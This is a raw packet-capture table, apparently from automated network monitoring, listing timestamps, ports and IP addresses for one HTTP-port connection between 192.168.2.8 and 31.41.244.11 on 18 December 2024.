Dec 18, 2024 09:07:32.520781994 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.521575928 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.521619081 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.521696091 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.521735907 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.522600889 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.522646904 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.522670984 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.522708893 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.523655891 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.523705006 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.523724079 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.523925066 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.524698019 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.524785995 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.524904013 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.525626898 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.525774002 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.525808096 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.525907040 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.526638985 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.526700020 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.526808023 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.526921034 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.527678013 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.527797937 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.527823925 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.527858019 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.528716087 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.528769970 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.528801918 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.529015064 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.529685020 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.529789925 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.529839039 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.530699968 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.530747890 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.530776024 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.530810118 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.531713009 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.531771898 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.531856060 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.531936884 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.532699108 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.532740116 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.532803059 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.532901049 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.533729076 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.533819914 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.533854961 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.533890963 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.534748077 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.534831047 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.534861088 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.534987926 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.535725117 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.535850048 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.535868883 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.535916090 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.536757946 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.536818981 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.536907911 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.537029028 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.537761927 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.537805080 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.537832975 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.538073063 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.538785934 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.538897038 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.539493084 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.539907932 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.539972067 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.540807962 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.540847063 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.540865898 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.541896105 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.542001009 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.542851925 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.542932987 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.543534994 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.543888092 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.543942928 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.544013977 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.544861078 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.545006990 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.545038939 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.545284033 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.545895100 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.545938015 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.546015024 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.546406031 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.546925068 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.546993017 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.547019958 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.547058105 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.547905922 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.547950983 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.548047066 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.548320055 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.548919916 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.549014091 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.549930096 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.549987078 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.550023079 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.550141096 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.550956011 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.550997972 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.551011086 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.551049948 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.552016020 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.552124977 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.552145958 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.552170992 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.552948952 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.553050041 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.553736925 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.553936005 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.554033995 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.554100990 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.554141045 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.554965019 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.555006981 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.555067062 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.555130005 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.556001902 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.556055069 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.556113005 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.556335926 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.556981087 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.557049036 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.557085037 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.557123899 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.558011055 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.558141947 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.559039116 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.559098959 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.559130907 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.559483051 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.560079098 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.560190916 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.560365915 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.561053991 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.561101913 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.561136961 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.561182022 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.561989069 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.562176943 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.700201988 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.700268030 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.700292110 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.700339079 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.700618029 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.700685024 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.700730085 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.701600075 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.701730967 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.701735973 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.701771975 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.702626944 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.702673912 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.702766895 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.702902079 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.703659058 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.703707933 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.703773022 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.703821898 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.704658031 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.704706907 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.704772949 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.704813957 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.705662012 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.705709934 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.705770969 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.705910921 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.706703901 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.706753016 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.706882000 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.706963062 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.707711935 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.707778931 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.707914114 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.707956076 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.708705902 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.708753109 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.708816051 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.708859921 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.709739923 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.709784031 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.709836006 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.709878922 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.710740089 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.710783958 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.710830927 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.710875034 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.711776018 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.711822987 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.711852074 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.711904049 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.712765932 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.712810040 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.712874889 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.712917089 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.713768005 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.713818073 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.713881016 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.713923931 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.714772940 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.714818954 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.714869022 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.714915037 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.715791941 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.715847969 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.715903044 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.716042995 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.716801882 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.716850996 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.716914892 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.716972113 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.717818022 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.717899084 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.717931986 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.717971087 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.718818903 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.718894005 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.718964100 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.719052076 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.719847918 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.719896078 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.719969034 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.720036983 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.720856905 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.720901966 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.720985889 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.721030951 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.721863031 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.722045898 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.722259998 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.722847939 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.722973108 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.723488092 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.723875999 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.723998070 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.724041939 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.724872112 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.724986076 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.725029945 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.725939989 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.725963116 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.726008892 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.726903915 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.726999044 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.727041006 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.727936983 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.728039980 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.728204012 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.728951931 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.728996992 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.729018927 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.729062080 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.729981899 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.730024099 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.730024099 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.730055094 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.730957031 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.731002092 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.731067896 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.731142998 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.732083082 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.732126951 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.732192993 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.732237101 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.732974052 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.733027935 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.733067989 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.733115911 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.733999968 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.734045029 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.734112024 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.734153986 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.734983921 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.735028982 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.735097885 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.735140085 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.736012936 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.736057043 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.736108065 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.736150026 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.737035036 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.737080097 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.737107038 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.737157106 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.738080025 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.738193989 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.738199949 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.738244057 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.739048004 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.739094973 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.739160061 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.739434004 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.740072012 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.740124941 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.740176916 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.740221024 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.741084099 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.741130114 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.741213083 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.741297007 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.742091894 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.742152929 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.742219925 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.742263079 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.743093967 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.743138075 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.743192911 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.743236065 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.744112968 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.744160891 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.744226933 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.744270086 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.745129108 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.745182037 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.745213985 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.745305061 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.746165037 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.746212959 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.746273994 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.746371984 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.747154951 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.747199059 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.747262001 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.747348070 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.748158932 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.748224974 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.748267889 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.748310089 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.749155998 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.749268055 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.749301910 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.749326944 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.750215054 CET	80	49720	31.41.244.11	192.168.2.8
